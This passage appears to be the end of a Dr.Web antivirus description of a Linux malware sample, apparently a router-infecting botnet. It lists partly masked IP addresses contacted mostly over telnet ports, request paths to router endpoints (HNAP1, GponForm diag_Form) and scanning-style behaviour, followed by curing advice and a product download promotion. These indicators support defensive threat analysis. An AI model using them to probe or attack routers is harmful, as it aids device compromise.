  • 23.##.#3.189:80/HNAP1/
  • 127.0.0.1:80/GponForm/diag_Form?images/
Other HTTP requests:
  • http://###.###.168.4HTTP/1.0
Sends data to the following servers:
  • 23#.###.255.250:1900
  • 41.##.28.7:1023
  • 5.###.76.72:23
  • 10#.##9.200.5:23
  • 83.###.54.226:23
  • 85.##.190.24:23
  • 66.##.30.51:1023
  • 17#.##5.59.223:23
  • 20#.##.26.219:23
  • 13#.##8.132.242:23
  • 19#.##2.91.118:23
  • 17#.##.254.147:1023
  • 67.#.187.71:23
  • 42.###.186.55:23
  • 94.##.171.194:23
  • 99.##.140.178:23
  • 10#.##7.86.153:1023
  • 58.##4.24.6:23
  • 20#.##6.49.43:23
  • 20#.##1.104.48:23
  • 44.##.140.113:23
  • 11#.##.27.203:1023
  • 19#.##4.167.190:23
  • 35.##9.1.2:23
  • 18#.##0.150.92:23
  • 43.##6.96.81:23
  • 21#.###.186.158:1023
  • 46.##.164.228:23
  • 80.##.236.182:23
  • 15#.##.202.76:23
  • 66.##3.85.62:23
  • 10#.##.209.120:1023
  • 18#.##.110.224:23
  • 17#.#.51.80:23
  • 78.##.154.146:23
  • 85.#.57.101:23
  • 11#.###.254.231:1023
  • 14#.##8.163.223:23
  • 70.###.218.84:23
  • 15#.##9.232.157:23
  • 18#.##4.174.35:23
  • 20#.##.165.167:1023
  • 12#.##5.124.9:23
  • 16#.##4.202.5:23
  • 11#.##.220.196:23
  • 34.##.208.31:23
  • 61.###.240.40:1023
  • 40.##6.37.31:23
  • 16#.##.146.125:23
  • 66.##5.63.8:23
  • 11#.##.75.216:23
  • 14#.##1.93.209:1023
  • 15#.##.39.154:23
  • 95.##.156.220:23
  • 13#.##.223.49:23
  • 57.###.91.221:23
  • 11#.###.222.167:1023
  • 16#.##3.208.206:23
  • 14#.##8.101.94:23
  • 14.###.191.143:23
  • 16#.##.222.248:23
  • 16#.##6.34.19:1023
  • 34.##.17.149:23
  • 21#.##5.157.70:23
  • 20#.##2.43.43:23
  • 10#.##4.140.186:23
  • 10#.#.187.6:1023
  • 21#.##4.108.38:23
  • 10#.##.238.165:23
  • 44.##.179.114:23
  • 10#.##.155.30:23
  • 17#.##1.193.96:1023
  • 18#.##0.177.14:23
  • 2.###.182.245:23
  • 14#.##3.192.161:23
  • 16#.##2.217.180:23
  • 93.###.190.105:1023
  • 12#.##4.254.159:23
  • 18#.#1.47.38:23
  • 11#.##5.174.26:23
  • 22#.##.24.148:23
  • 53.###.66.192:1023
  • 36.##1.147.9:23
  • 17#.##6.224.49:23
  • 90.###.24.182:23
  • 89.##.150.244:23
  • 19#.##2.126.80:1023
  • 17#.##3.62.219:23
  • 13#.##7.172.1:23
  • 18#.##1.163.152:23
  • 14#.##9.172.227:23
  • 20#.###.220.170:1023
  • 12#.##.149.165:23
  • 97.###.250.189:23
  • 16#.##4.171.139:23
  • 69.###.189.137:23
  • 40.##.193.229:1023
  • 20.##5.8.186:23
  • 13#.##3.145.129:23
  • 77.##.157.162:23
  • 20#.##8.29.215:23
  • 20#.###.200.145:1023
  • 19#.##8.175.161:23
  • 19#.##8.200.218:23
  • 51.##.50.47:23
  • 13.#.167.91:23
  • 20#.#.205.137:1023
  • 63.###.115.160:23
  • 15#.##1.76.248:23
  • 19#.##2.98.202:23
  • 18.###.220.251:23
  • 17#.##5.158.0:1023
  • 17.##.17.180:23
  • 13#.##1.71.167:23
  • 71.###.64.114:23
  • 88.###.157.232:23
  • 17#.###.235.108:1023
  • 57.##.250.66:23
  • 11#.##3.162.73:23
  • 15#.##8.124.193:23
  • 85.###.194.72:23
  • 16#.###.232.104:1023
  • 38.###.32.215:23
  • 72.##.211.105:23
  • 19#.##9.35.78:23
  • 69.#.145.84:23
  • 10#.##.37.65:1023
  • 20#.##.124.219:23
  • 22#.##.102.186:23
  • 15#.##6.232.251:23
  • 18#.##5.19.85:23
  • 87.#.84.50:1023
  • 21#.##4.145.28:23
  • 65.###.111.114:23
  • 17#.##8.40.31:23
  • 70.###.206.170:23
  • 19#.###.227.173:1023
  • 35.###.129.121:23
  • 37.###.186.127:23
  • 13#.##.134.172:23
  • 5.###.60.230:23
  • 4.###.130.16:1023
  • 21#.##4.164.20:23
  • 17#.##2.210.250:23
  • 69.##.64.214:23
  • 20#.##7.127.131:23
  • 10#.##2.96.62:1023
  • 16#.##9.122.255:23
  • 17.##2.14.20:23
  • 38.##.254.54:23
  • 88.##4.47.77:23
  • 37.##.254.48:1023
  • 11#.##.56.172:23
  • 20#.#.112.142:23
  • 22#.##5.19.84:23
  • 20#.##3.5.143:23
  • 22#.##9.28.66:1023
  • 19#.#8.2.26:23
  • 67.###.213.239:23
  • 12#.##1.121.209:23
  • 11#.##7.82.245:23
  • 12#.##.125.205:1023
  • 17#.##.13.106:23
  • 18#.##4.209.218:23
  • 47.##.248.27:23
  • 47.##.196.254:23
  • 11#.##.3.189:1023
  • 10#.##6.100.121:23
  • 16#.##9.103.246:23
  • 73.##.65.224:23
  • 14#.#8.7.215:23
  • 81.##.238.83:1023
  • 84.##.158.3:23
  • 47.##.227.13:23
  • 88.#.57.50:23
  • 16#.##.95.203:23
  • 13#.###.242.228:1023
  • 78.###.231.158:23
  • 19#.#.16.170:23
  • 17#.##.217.159:23
  • 18#.##5.135.134:23
  • 47.##.136.48:1023
  • 11#.##9.81.29:23
  • 77.###.161.156:23
  • 20#.##6.223.40:23
  • 20#.##.236.198:23
  • 90.###.180.177:1023
  • 85.##.155.101:23
  • 87.###.61.105:23
  • 96.###.254.133:23
  • 17.##.185.218:23
  • 21#.##.232.235:1023
  • 15#.##2.122.164:23
  • 21#.##0.91.80:23
  • 12#.##2.123.151:23
  • 89.##.255.190:23
  • 45.##.230.107:1023
  • 11#.##7.237.236:23
  • 24.##.215.123:23
  • 43.##4.95.67:23
  • 16#.##7.164.179:23
  • 15#.##0.9.187:1023
  • 15#.##2.138.250:23
  • 15#.##0.196.105:23
  • 60.##.176.206:23
  • 11#.##7.132.20:23
  • 20#.##.37.170:1023
  • 96.###.195.48:23
  • 35.##.9.252:23
  • 1.###.191.201:23
  • 17.##4.52.31:23
  • 21#.##9.33.59:6881
  • 82.###.103.244:6881
  • 13#.##9.18.159:6881
  • 87.##.162.88:6881
  • 16#.##.218.40:6881
  • 11#.###.206.240:52287
  • 47.##.114.8:56440
  • 11#.###.125.153:1023
  • 60.##.173.221:23
  • 19#.#9.2.10:23
  • 20#.##3.65.154:23
  • 83.##.164.171:23
  • 12#.###.181.103:1023
  • 97.###.144.133:23
  • 12#.##2.149.232:23
  • 19#.##.182.53:23
  • 13#.##.172.206:23
  • 10#.##5.33.82:11247
  • 22#.###.191.124:8080
  • 20#.##.45.107:28339
  • 12#.##.119.146:6832
  • 5.###.187.90:31371
  • 80.###.145.152:1023
  • 38.##.52.48:23
  • 13#.##1.162.115:23
  • 53.##7.9.99:23
  • 59.###.211.95:23
  • 86.###.105.57:1023
  • 19#.#04.4.96:23
  • 21#.#2.17.84:23
  • 9.###.74.54:23
  • 75.##.43.243:23
  • 21#.###.79.238:51424
  • 47.###.137.90:51413
  • 10#.###.143.140:7192
  • 73.###.9.58:6881
  • 10#.##.228.34:1023
  • 59.##.7.142:23
  • 19#.##8.200.37:23
  • 21#.##5.81.226:23
  • 16#.##9.140.6:23
  • 83.###.184.163:1023
  • 10#.##2.64.14:23
  • 73.###.228.99:23
  • 97.##.185.5:23
  • 20#.##6.55.17:23
  • 18#.###.215.246:63556
  • 72.##.166.226:51413
  • 18#.##.3.116:8080
  • 99.###.15.169:51413
  • 11#.##.157.183:4000
  • 27.##.74.117:1023
  • 20#.##.144.132:23
  • 20#.##2.174.100:23
  • 18#.##2.222.74:23
  • 40.###.247.14:23
  • 8.###.184.185:1023
  • 17#.#1.11.56:23
  • 27.##1.67.11:23
  • 43.##.12.39:23
  • 82.##.82.207:23
  • 19#.##8.3.1:61112
  • 20#.##.42.55:32657
  • 1.#.#66.80:8082
  • 17#.##0.27.158:1023
  • 17#.##.246.100:23
  • 15#.##0.211.120:23
  • 18#.#2.32.79:23
  • 11#.#4.15.23:23
  • 20#.###.117.132:1023
  • 19#.##8.51.88:23
  • 15#.##2.130.117:23
  • 32.##.16.166:23
  • 19#.##4.121.19:23
  • 20#.##.42.72:1669
  • 11#.##.135.174:31942
  • 20#.##.45.217:45287
  • 78.###.64.123:1023
  • 16#.##.60.126:23
  • 19#.##.121.179:23
  • 45.###.230.151:23
  • 10#.#14.8.94:23
  • 10#.##.152.174:1023
  • 9.##.81.185:23
  • 70.#.248.100:23
  • 22#.##.212.102:23
  • 45.##.183.227:23
  • 20#.##.45.163:63889
  • 20#.##.42.138:10445
  • 18#.##.113.217:1023
  • 15#.##6.175.233:23
  • 23.##1.93.77:23
  • 13#.##6.102.88:23
  • 13#.##5.55.98:23
  • 20#.##.242.170:1023
  • 10#.##3.134.204:23
  • 17#.##7.59.153:23
  • 13.###.227.255:23
  • 13#.##3.90.89:23
  • 12#.##5.0.70:27015
  • 21#.##6.79.27:5975
  • 31.##.96.89:1023
  • 13#.#.170.61:23
  • 66.###.230.129:23
  • 16#.##9.188.216:23
  • 10#.##8.138.80:23
  • 13#.##9.165.13:1023
  • 17#.##8.223.227:23
  • 21#.##.175.237:23
  • 13.###.26.193:23
  • 15#.##5.156.235:23
  • 37.###.228.160:38640
  • 90.##.7.92:31832
  • 12#.##7.58.160:1434
  • 10#.##.16.127:1023
  • 10#.##2.189.71:23
  • 10#.##2.25.86:23
  • 63.###.42.188:23
  • 81.##2.40.7:23
  • 21#.#.127.48:1023
  • 48.###.122.140:23
  • 21#.#2.68.15:23
  • 15#.##.227.31:23
  • 10#.##7.153.217:23
  • 27.###.158.134:60001
  • 20#.##.42.77:22026
  • 22#.##.57.150:1086
  • 20#.##.42.161:32027
  • 20#.##.42.208:48379
  • 12#.##.35.86:1023
  • 73.##.122.116:23
  • 31.##.165.70:23
  • 10#.##2.178.12:23
  • 15#.##2.187.229:23
  • 86.###.52.46:1023
  • 19#.##.83.130:23
  • 4.###.223.199:23
  • 16#.##1.187.10:23
  • 10#.##5.8.167:23
  • 20#.##.42.225:35773
  • 20#.##.42.158:57396
  • 20#.##.42.17:42603
  • 22#.###.101.130:8083
  • 10#.##6.79.4:1023
  • 15#.##.222.163:23
  • 22#.##.251.74:23
  • 37.##.173.41:23
  • 12#.##8.68.152:23
  • 13#.##.152.66:1023
  • 98.###.67.204:23
  • 48.##.154.78:23
  • 10#.##6.87.95:23
  • 39.##1.47.2:23
  • 20#.##.45.194:28509

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number